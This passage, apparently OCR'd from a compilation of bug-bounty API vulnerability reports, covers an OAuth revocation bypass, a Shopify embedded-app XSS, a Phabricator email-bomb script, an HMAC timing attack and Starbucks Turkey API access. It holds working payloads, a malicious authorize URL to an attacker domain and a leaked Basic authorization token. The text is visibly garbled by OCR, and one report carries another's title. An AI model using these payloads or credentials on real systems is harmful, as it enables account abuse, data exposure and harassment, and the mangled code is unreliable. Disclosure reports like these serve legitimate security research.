9) Delete or Disconnect the application used during the PoC

10) To ensure that access is denied, repeat step 5

11) Use code value from step 7 and exchange it for access_token
12) Check validity of access_token

If access_token is valid, OAuth2 Provider is affected by the vulnerability.
Important notice

For real attack scenario it is important to mention the following:
a) it seems that step 6 requires interaction with user, actually it is not necessary
b) authorization code obtained via callback has certain lifetime, but it is not problem too

Malicious application which does not want to lose access to the user's account just need to
place on its web site something like:



Applications ~  Places v [ Terminal ~ Sat 02:58

punit.html + (~) - VIM [— I -]

File Edit View Search Terminal Help

authorize?client id=%CLIENT ID%& s de&redirect uri=https:

Such code will "silently" produce new authorization code each time it has been loaded by the
user:

Applications ~  Places ~ [ Terminal ~ Sat 03:00

punit + (~) - VIM (- )
File Edit View Search Terminal Help
avuln:/var/log/nginx# tail - og

> - - [16/. +0000] "GET /callb ate=0123456789%abcde VYdnJLSAAAAAAAAFQDUMZ 1a7P8]g9 M2 rNxwP8U HTTP/1.1" 200 14 *
-* "Mozillas5.@ (Macintosh; Int 0s X 10 10 3) Appl i 3 6 , like Ge Chrome/41.0.2272.118 Safari/537.36["

Impact:
The vulnerability allows an malicious applica

tion to keep its access active to a victim's account even after access revocation. This is not only
authorization bypass, but it also deprives a victim ability to manage access for an application.



APl EXAMPLE 12

Vulnerable Type: XSS in SshopS.myshopify.com/admin/ via twine template injection in
"Shopify.APl.Modal.input" method when using a malicious app.

Screenshot of Component:

<div class="ui-modal_ body" data-define="{typedInput: &#39;[%= value %]&#39;}">

<label class="npext-label" for="text-al0e7047a92878fc20031740dadb5231"></1label>
<input type="text" id="text-al@e7047a92878fc20031f40daGb5231" data-bind="typedInput" autofocus="autofoc

<button class="btn close-modal [%= buttonClass %]" data-bind-event-click="closeModal({result: true, dat

wrapFunctionString = function(code, args, node) {
var e, error, keypath;
if (isKeypath(code) && (keypath = keypathForKey(node, code))) {
if (keypath[®] === 'Sroot') {
return function(Scontext, $root) {
return getValue(S$root, keypath);
}:
} else {
return function(Scontext, S$root) {
return getValue(Scontext, Kkeypath);

};
3}
} else {
code = "return " + code;
if (nodeArrayIndexes(node)) {
code = "with($arrayPointers) { " + code + " }";
3}
if (requiresRegistry(args)) {
code = "with($registry) { " + code + " }";
}
try {

return new Function(args, "with(Scontext) { " + code + " }");
} catch (error) {

{typedInput:''-document.domain-"'"}

This will result in the following code executing within twine:

with(Scontext) {
with(Sregistry) {
return {typedInput: ''-alert(document.domain)-'"'}

window.parent.postMessage(JSON.stringify({
message: "Shopify.API.Modal.input",
data: {
message: {
message: "",
value: "'-alert(document.domain)-'",

}
B, =y



URL GET/POST data: GET METHOD:

/admin/oauth/authorize?client_id=5b7bd427b8caa69610bf85d1c87d4a04&scope=read_produ
cts&redirect_uri=https://attackerdoma.in/a4d76231-8657-48ed-8800-
f1b02c7bb2ff.html&state=nonce

Business Logic:

he Shopify Embedded App SDK is used to facilitate limited interactions with parent page
(/admin/apps/Sid) from an embedded app within the shop admin interface. The SDK has
multiple methods which allow an app to interact with the user which execute in the context of
the admin domain and pass information back to the app. These Ul elements are rendered from
predefined templates using lodash's _.template method. While the method automatically
provides input escaping the "input" template (used by the Shopify.API.Modal.input method)
assigns a value to a special data-define attribute. While it's not possible to escape the attribute
context, because the escaping is not fully context-aware it is possible to inject additional data
into the attribute which is later interpreted by twine. Because twine does not execute in a
sandbox this template becomes an eval primitive and it possible to obtain XSS in the context of
the parent application.

Technical Details

When the Shopify.APl.Modal.input method the following "input" template is rendered using
lodash's _.template method:

<div class="ui-modal_body" data-define="{typedInput: &#39;[%= value %]&#39;}">
<label class="next-label" for="text-al0e7047a928787c20031f40dadb5231"></1label>
<input type="text" id="text-al0e7047a92878fc20031f40da®b5231" data-bind="typedInput" autofocus="autofoc
<button class="btn close-modal [%= buttonClass %]" data-bind-event-click="closeModal({result: true, dat

he typedInput parameter is initialized from the value template parameter, bound to the text
input, and finally used when the "okButton" is clicked. The data binding is handled by Shopify's
twine JS library. Unfortunately because .template is not fully context aware it will not provide
JSON escaping for this parameter. For example if value is set to some'value the following invalid
JSON will be created in the data-define attribute:

{typedInput: 'some'value'}

Normally this would just break the intended functionality, however if we analyze twine we can
discover that this type of injection can actually result in arbitrary JS execution. Twine evaluates
parameters using the
(wrapFunctionString)[https://github.com/Shopify/twine/blob/24c4ccfccf5b50937e6d9e433676
651549be1497/dist/twine.js#L373] method:



https://hackerone.com/redirect?signature=17e4381a12866d947b44df766c59d40210fee3c6&url=https%3A%2F%2Fhelp.shopify.com%2Fapi%2Fsdks%2Fmerchant-apps%2Fembedded-app-sdk
https://hackerone.com/redirect?signature=9bf108578a459c4690bc843f7abed7a9a555a31b&url=https%3A%2F%2Flodash.com
https://hackerone.com/redirect?signature=61407838421fab0184de3ac8286a6be3c2aa648a&url=https%3A%2F%2Flodash.com%2Fdocs%2F4.17.4%23template
https://hackerone.com/redirect?signature=5dd7392961db050864c357f330bababff06936ce&url=http%3A%2F%2Fshopify.github.io%2Ftwine%2F
https://hackerone.com/redirect?signature=9bf108578a459c4690bc843f7abed7a9a555a31b&url=https%3A%2F%2Flodash.com
https://hackerone.com/redirect?signature=61407838421fab0184de3ac8286a6be3c2aa648a&url=https%3A%2F%2Flodash.com%2Fdocs%2F4.17.4%23template
https://hackerone.com/redirect?signature=5dd7392961db050864c357f330bababff06936ce&url=http%3A%2F%2Fshopify.github.io%2Ftwine%2F
https://hackerone.com/redirect?signature=61407838421fab0184de3ac8286a6be3c2aa648a&url=https%3A%2F%2Flodash.com%2Fdocs%2F4.17.4%23template
https://hackerone.com/redirect?signature=5dd7392961db050864c357f330bababff06936ce&url=http%3A%2F%2Fshopify.github.io%2Ftwine%2F
https://hackerone.com/redirect?signature=4c80a33c96ae3d6dca7641b96659310731f62d28&url=https%3A%2F%2Fgithub.com%2FShopify%2Ftwine%2Fblob%2F24c4ccfccf5b50937e6d9e433676651549be1497%2Fdist%2Ftwine.js%23L373
https://hackerone.com/redirect?signature=4c80a33c96ae3d6dca7641b96659310731f62d28&url=https%3A%2F%2Fgithub.com%2FShopify%2Ftwine%2Fblob%2F24c4ccfccf5b50937e6d9e433676651549be1497%2Fdist%2Ftwine.js%23L373

wrapFunctionString = function(code, args, node) {
var e, error, keypath;
if (isKeypath(code) && (keypath = keypathForKey(node, code))) {
if (keypath[0] === 'Sroot') {
return function(Scontext, $root) {
return getValue($root, keypath);
}i
} else {
return function(Scontext, S$root) {
return getValue(Scontext, keypath);
Y
}

else {

w

code = "return " + code;

if (nodeArrayIndexes(node)) {

code = "with(S$arrayPointers) { " + code + " }";
}
if (requiresRegistry(args)) {
code = "with(Sregistry) { " + code + " }";
}
try {

return new Function(args, "with(Scontext) { " + code + " }");
} catch (error) {

The method wraps the attribute value in a with block to provide named variables and passes it
to a Function constructor which acts as a eval primitive. This means any injection will result in
JavaScript execution. For example, if the following data is used for the value template
parameter it will flow as follows:

"-alert(document.domain)-'

This will result in a data-define attribute with the following value:

{typedInput:''-document.domain-"'"}
This will result in the following code executing within twine:

with(Scontext) {
with(Sregistry) {
return {typedInput: ''-alert(document.domain)-"'"'}
}
}

Putting this all together with the SDK we get the following script:

window.parent.postMessage(JSON.stringify({
message: "Shopify.API.Modal.input"
data: {
message: {
message: ""
value: "'-alert(document.domain)-'",
}
}
0 PR 1

Exploitability


https://hackerone.com/redirect?signature=dd5e7936582f5a47213757ea886a48cab578b3a1&url=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FJavaScript%2FReference%2FStatements%2Fwith
https://hackerone.com/redirect?signature=58a962c7c609066ec0334dc21d610f5fde4b57d7&url=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FJavaScript%2FReference%2FGlobal_Objects%2FFunction

You need to convince an administrator to authorize your malicious application, however the
exploit does not require any specific permissions to trigger so an admin may be more willing to
authorize the application.

Proof of Concept

I've created an example malicious application associated with my partner account shopify-
whitehat-1@bored.engineer to demonstrate the issue...
Open the following URL on on Syour-shop$.myshopify.com:

/admin/oauth/authorize?client_id=5b7bd427b8caa69610bf85d1c87d4a04&scope=read_produ
cts&redirect_uri=https://attackerdoma.in/a4d76231-8657-48ed-8800-
f1b02c7bb2ff.html&state=nonce

After authorizing the application an alert should appear on the /admin window containing
document.domain.


mailto:shopify-whitehat-1@bored.engineer
mailto:shopify-whitehat-1@bored.engineer

APl EXAMPLE 13

Vulnerable Type: The mailbox verification APl interface is unlimited and can be used as a
mailbox bomb.

Screenshot of Component:

(@) Phacility & a1 - B ql

# Settings > Email Addresses

ACCOUNT Email Addresses + Add New Address
Account
Date and Time Eal Status Remove
yunbeitai2015@126.com Verify

APPLICATIONS
Desktop Notifications
Diff Preferences

Display Preferences

AUTHENTICATION
External Accounts
Multi-Factor Auth
Password

SSH Public Keys

EMAIL

I Email Addresses

setting differs from the
profile, click to reconcile.

Email Preferences

Email

WifFE (13) H 13 HAKIE RHEHER
M ETHEERF noreply [Phabricator] Email Verification
TR
= mmEE noreply [Phabricator] Email Verification
BB AT noreply [Phabricator] Email Verification
. noreply [Phabricator] Email Verification
BRis
o RmANSER noreply [Phabricator] Email Verification
Bk noreply [Phabricator] Email Verification
TR
[ noreply [Phabricator] Email Verification
HTIREPE noreply [Phabricator] Email Verification
> ERFAREE
noreply [Phabricator] Email Verification
> EBFERA
SrpEg noreply [Phabricator] Email Verification
Bt noreply [Phabricator] Email Verification
e = noreply [Phabricator] Email Verification

URL GET/POST data: POST METHOD:

https://admin.phacility.com/settings/user/toma/page/email/

Business Logic:

The API interface in https://admin.phacility.com/settings/user/toma/page/email/ is unlimited
and can be used as a mailbox bomb

Reproduced:

1.register a user and wait for verify email address
2.use this:


https://admin.phacility.com/settings/user/toma/page/email/
https://hackerone.com/redirect?signature=006955173caf8ae8df08d7b72d18a7f6f7556a8f&url=https%3A%2F%2Fadmin.phacility.com%2Fsettings%2Fuser%2Ftoma%2Fpage%2Femail%2F

<form id="myform"
action="https://admin.phacility.com/settings/user/toma/page/email/?verify=14295"
method="POST" target="_blank"><input type="text" name="__csrf "
value="B@f3wyama2759fcd6f915746da"><input type="text" name="__form__"

value="1"><input type="text" name="__dialog__" value="1"><input type="text" name="verify"
value="14295"><input type="text" name="__submit__" value="true"><input type="text"
name="__ wflow__ " value="true"><input type="text" name="__ajax__" value="true"><input
type="text" name="__metablock__" value="3"></form><script>function interval(func, wait,
times){ var interv = function(w, t){ return function(){ if(typeof t === "undefined" | |
t-- > 0){ setTimeout(interv, w); try{ func.call(null); }
catch(e){ t=0; throw e.toString(); } } L Hwait, times);

setTimeout(interv, wait);};//submit every 2000ms,execute 5 times(you can change this number
to execute more
times)interval(function(){document.getElementByld("myform").submit();},2000,5);</script>

andits __csrf__is your token

Because the email address has not been verified this time,| can write any email address when
registration,then | can bomb any people's email box.



API EXAMPLE 14

Vulnerable Type: ShopifyAPl is vulnerable to timing attacks.

Screenshot of Component:

# Try to use compare_digest() to reduce vulnerability to timing attacks.
# If it's not available, just fall back to regular string comparison.
try:

return hmac.compare_digest(hmac_calculated, hmac_to_verify)
except AttributeError:

return hmac_calculated == hmac_to_verify

try:

return hmac.compare_digest(hmac_calculated, hmac_to_verify)
except AttributeError:

def fallback constant_time(hmac_calculated, hmac_to_verify):

if len(hmac_calculated) != len(hmac_to_verify):
return

result = 0

for x, y in zip(hmac_calculated, hmac_to_verify):
result |= x A y

return result == 0

Applications = Places = [ Terminal Sat 21:05

shopify_timing_attack_poc.py = (/tmp/mozilla_root0) - VIM © ® O

File Edit View Search Terminal Help
import time, hmac

def timing(f)
def wrap(*a
% (f.func_name, (time2-timel)*1000.0

attack_diff(

print i

ck_

print i
f constant_:

i in range
if not hmac.c
print i

URL GET/POST data: POST METHOD:

https://github.com/Shopify/shopify python api/blob/master/shopify/session.py#L115-L120

Business Logic:

Timing attacks are a type of side channel attack where one can discover valuable information
by recording the time it takes for a cryptographic algorithm to execute.

The issue lies in shopify/session.py's validate_hmac() function:


https://hackerone.com/redirect?signature=360fbaa64c5bd4b42fdeb00f2758631f1e0ca661&url=https%3A%2F%2Fgithub.com%2FShopify%2Fshopify_python_api%2Fblob%2Fmaster%2Fshopify%2Fsession.py%23L115-L120

# Try to use compare_digest() to reduce vulnerability to timing attacks.
# If it's not available, just fall back to regular string comparison.
try:

return hmac.compare_digest(hmac_calculated, hmac_to_verify)
except AttributeError:

return hmac_calculated == hmac_to_verify

The == operator does a byte-by-byte comparison of two values and as soon as the two
differentiate it terminates. This means the longer it takes until the operation returns, the more
correct characters the attacker has guessed. It is important to note that this issue really only
affects users using Python versions prior to 2.7.7.

Link to source code:
https://github.com/Shopify/shopify python api/blob/master/shopify/session.py#L115-L120

Step To Reproduce:

Here is a quick and messy PoC to demonstrate the issue:

Applications ~  Places v [ Terminal ~ W) B~
shopify_timing_attack_poc.py = (/tmp/mozilla_root0) - VIM e 0

File Edit View Search Terminal Help
import time, hmac

1s' % (f.func_name, (time2-timel)*1000.6)

@timing
def timing_attack_diff():

range (2
i
P

ing
timing_attack_same()

i in rang
if s1 =
print

etiming
def constant_time diff():

= b"0000¢
i in rang

The results are quite significant:

Round timing_attack_dif timing_attack_sa constant_time_di constant_time_sa
f me ff me
Round 1 2463 ms 2365 ms 2310 ms 2329 ms
Round 2 2219 ms 2175 ms 2156 ms 2188 ms

How can this be fixed?


https://hackerone.com/redirect?signature=360fbaa64c5bd4b42fdeb00f2758631f1e0ca661&url=https%3A%2F%2Fgithub.com%2FShopify%2Fshopify_python_api%2Fblob%2Fmaster%2Fshopify%2Fsession.py%23L115-L120

try:
return hmac.compare_digest(hmac_calculated, hmac_to_verify)
except AttributeError:
def fallback _constant_time(hmac_calculated, hmac_to_verify):
if len(hmac_calculated) != len(hmac_to_verify):
return

result = 0

for x, y in zip(hmac_calculated, hmac_to_verify):
result |= x Ay

return result == 0

This fallback does not terminate as soon as two bytes are not the same. | am willing to submit a
PR to solve this issue, but | need your permission first.



APl EXAMPLE 15

Vulnerable Type: ShopifyAPI is vulnerable to timing attacks.

Screenshot of Component:

Go Cancel

<

Target: https://crmproxy.protel.comtr ¢

?

Request Response

Hex

[[Raw,| Headers
GET //api/vl/transactions/1112320 HTTP/1.1
Content-Encoding: gzip
Accept: application/json
Device-Token: 337658eflbf6lf5c
Buthorization: Basic QVBSTLhXTFpUUTo4NGYONDLmMIAYzOWEYMDUz
Accept-Language: tr
Host: crmproxy.protel.com.tr
Connection: close
User-Agent: okhttp/3.6.0

“ Headers ~ Hex
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sun, 28 May 2017 15:10:44 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1892

Connection: close

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

{
"Id": 1112320,
"ContactId": "9fasB

"MicrosDiscounts”
"CouponResponse’
"StampsAwarded" :
"StampsSpent”: 0,
"TotalStampBalance": 39,
"originalCheck": {
"CheckSeq”: 418864,
CheckNumber”: 8840,
"MenuItems”: [

5614,

“"Condiments": [],

"OriginalPrice": "4.75",
"Discount”: "0.00".

+

Type a search term 0 matches. < > ProfileldsRaw

?| March and Replace

o These settings are used to automatically replace parts of requests and responses passing through the Proxy.

d385-2a75-e611-80c8-005056bb218e",
2

0 matches

Add Enabled Item Match Replace Type Comment
Request he... AReferer.”$ Regex Hide Referer...
Edit Request h AAccept-En.. Regex Require non...
Response h... nSet-Cook Regex Ignore cooki...
Remove Request he... AHost: foo.... Host: bar.example.org Regex Rewrite Host... © b
Request he Origin: foo.example.org Literal Add spoofed...
Up Response h... AStrict\-Tra... Regex Remove HST...
Response h. X-XSS-Protection: 0 Literal Disable bro...
Down Request hi Authorization: Basic QVBSTIhXTFpUUTo4NGYONDImMWYzOWEyMDUz  Literal




Go Cancel <|v] >

Target: https://crmproxy.protel.comar & 7

Request
Headers  Hex

GET /api/v1/MobileInbox/Limit/10 HTTP/1.1
Content-Encoding: gzip

Accept: application/json

Device-Token: 337658eflbf61f5c

Authorization: Basic QVBST1hXTFpUUTOANGYONDLmMWYzOWEYMDUz
Accept-Language: tr

Host: crmproxy.protel.com.tr

Connection: close

User-Agent: okhttp/3.6.0

Go Cancel L|v) [>]v

Response
Headers  Hex

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sun, 28 May 2017 14:22:25 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 135

Connection: close

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

"Limit": 10,
"TotalltemCount": 0,
"NewItemCount": 0,
"ResponseItemCount": 0,
"NewItems": [],
"ResponseItems”: []

Target: https://crmproxy.protel.com.tr & 7

Request

Headers  He
GET //api/vl/customerprofile/a3fb2903-8al3-e711-80ca-005056bb218e
HITI

Content-Encoding: gzip

Accept: application/json

Device-Token: 337658eflbf6lf5¢

Buthorization: Basic QVBSTLhXTFpUUTO4NGYONDLmMWY2OWEYMDUZ
Accept-Language: tr

Host: crmproxy.protel.com.tr

Connectior
User-Agenf

close
okhttp/3.6.0

Type a search term 0 matches

https://crmproxy.protel.com.tr/apifv1/Mobilelnbox/Limit/20

Response
Headers  He

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sun, 28 May 2017 14:59:05 GMT
Content-Type: application/json; charset=utf-§
Content-Length: 1295

Connection: close

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

{
- "a3fb2903-8al3-e711-80ca-005056bb218e" ,
"LogicalName”: null,
"Name": "Kot

e B irme”,
166110003,

false,
"LastBuiltOn": null,
"DaysFrequency”: null,
"HoursFrequency”: null,
"FilterGender”: false,
"Gender": 0,

"FilterAge": false,
"AgeDateStart”: null,

"FilterYTDAvgHonthlyFrequency
"¥TDAvgMonthlyFrequencyStart” :
"¥TDAvgMonthlyFrequencyEnd”: null,
"FilterYTDAvgPurchaseAmount”: false,
"YTDAvaPurchaseAmountStart”: null.

2 < + > Type a search term

0 matches

x 4 Q

‘Authentication Required

https:/fcrmproxy.protel.com.tr is requesting your
username and password. The site says: “Restricted

Content"
User Name: || ]
Passward:
cance | D
"€ ) @& | hitps:/Jcrmproxy.protel.comtr/edgeapidacindex ¢ & Q > TAE A E
Edge fdocs/v1 api_key Explore

Can't read from server. It may not have the appropriate access-control-origin settings.



@ @ | https:fjermproxy.protel.com.tr/swagger] 1 ¢ & > wB 4+ A0 =

JSON Headars

Save Copy Pretty Print

Go Cancel <|v Target: https://crmproxy.protel.com.tr & 7

Raw = Headers  Hex Raw = Headers  Hex
GET /api/vl/APIClients HTTP/1.1 HTTP/1.1 200 OK
Content-Encoding: gzip Server: nginx/1.4.6 (Ubuntu)
Accept: application/json Date: Sun, 28 May 2017 14:40:04 GMT
Device-Token: 337658eflbf61£5c Content-Type: application/json; charset=utf-8
Authorization: Basic QVBST1hXTFpUUTo4NGYONDImMWYzOWEYMDUz Content-Length: 557
Accept-Language: tr Connection: close
Host: crmproxy.protel.com.tr Cache-Control: private
Connection: close X-AspNet-Version: 4.0.30319
User-Agent: okhttp/3.6.0 X-Powered-By: ASP.NET

[
{
"Id": 1

“Token®: "ABE15C66 604D9RAFSEC" ,
"Descriptor”: "QuickIOSAppClient”

"1d": 2,
"Token': "5383DOAF5BE] 6776,
"Descriptor”: "QuickAndroidAppClient”

"1d": 3,
"Token": "ClDBA153667 . cemeoses oo 148A7",
"Descriptor”: "PDSClient”

"1d": 4,
"Token": "B30EGUE3CASS 36FBEACIC" .
< + > Type a search term 0 matches ? < + > Type a search term 0 matches

URL GET/POST data: GET METHOD:

https://play.google.com/store/apps/details?id=com.starbucks.tr&hl=en

Business Logic:

When i tried to pentest the starbucks android app, i could not see the traffic between client and
the server because of the SSL Pinning.

First, i wanted to SSL Unpinning then continue the testing, however, i released that developers
forgot to add /Mobilelnbox/ path for the ssl validation. (i dont know they forgot or leave it like
that)

Currently, | had a request thanks to forgotten/leaving a path for ssl validation. When i have a
directory, always i check the sub or parent directory because of that | tried to reach this link
directly on browser but i faced a basic http authentication pop-up. There must be a problem
because i have an access with burp, then i check the HTTP Headers bingo! there was a


https://hackerone.com/redirect?signature=bb5d952495f76aae285a7a9d30bb1a6312c2af27&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.starbucks.tr%26hl%3Den

Authorization-Token. | added this token automatically when i request a link then second bingo i
have an access directly on browser.

Now try to digg sensitive things. | went to homepage and it directed me to /edgeapidoc/index/ .
There was a link on that page which /swagger/docs/v1/ . | hoped that was the documents of
the APl usage. Yeapp that was the documentation of the API usage. | saw all methods of the
app, first thing which came in my mind, am i eligible to use this all of things. yeap i was :)

| did not want to change anything on the server, because of that did not use any POST method.
| just used almost all GET methods :D all of them were working such as, masked credit card
values, api tokens, user informations etc.

The tested application is Starbucks Turkey Android App.
https://play.google.com/store/apps/details?id=com.starbucks.tr&hl=en

All these things are made without any login. | did not login the app.

1. Itried to intercept traffic between starbucks app and server with burp suite. | could not
be successful because of the ssl pinning.

2. Before the unpinnig ssl, | look around the app's all screens.

When i look at the messages tab i saw a proccess on my burp history.

Application sent a request to

https://crmproxy.protel.com.tr/api/vl/Mobilelnbox/Limit/20 this url and it took a

response.

5. levaluated this request then i saw the Authorization: Basic
QVBSTIhXTFpUUTo4NGYONDIMMWYzOWEyMDUz token.

6. |tried to reach this url via browser however, i couldnt because it wants to basic
authentication and i tried the default password which comes to mind but i couldnt be
successful.

7. lremembered when there was a request on burp which has Authorization: Basic
QVBSTIhXTFpUUTo4NGYONDImMMWYzOWEyMDUz token and i tried to add this token in
my all request while trying to access via browser.

8. Bingoooo! It worked! | reach the https://crmproxy.protel.com.tr this api server and i
looked around it then i found the api docs.

9. Finally, i tried to sent all request in api docs, i was successful in all of them.

> ow



https://hackerone.com/redirect?signature=bb5d952495f76aae285a7a9d30bb1a6312c2af27&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.starbucks.tr%26hl%3Den
https://hackerone.com/redirect?signature=b145273049e9908326e336bf2f13c4303d06d2cf&url=https%3A%2F%2Fcrmproxy.protel.com.tr%2Fapi%2Fv1%2FMobileInbox%2FLimit%2F20
https://hackerone.com/redirect?signature=e4c56d708d5d0b6d92c65610416406a0a36e91d1&url=https%3A%2F%2Fcrmproxy.protel.com.tr
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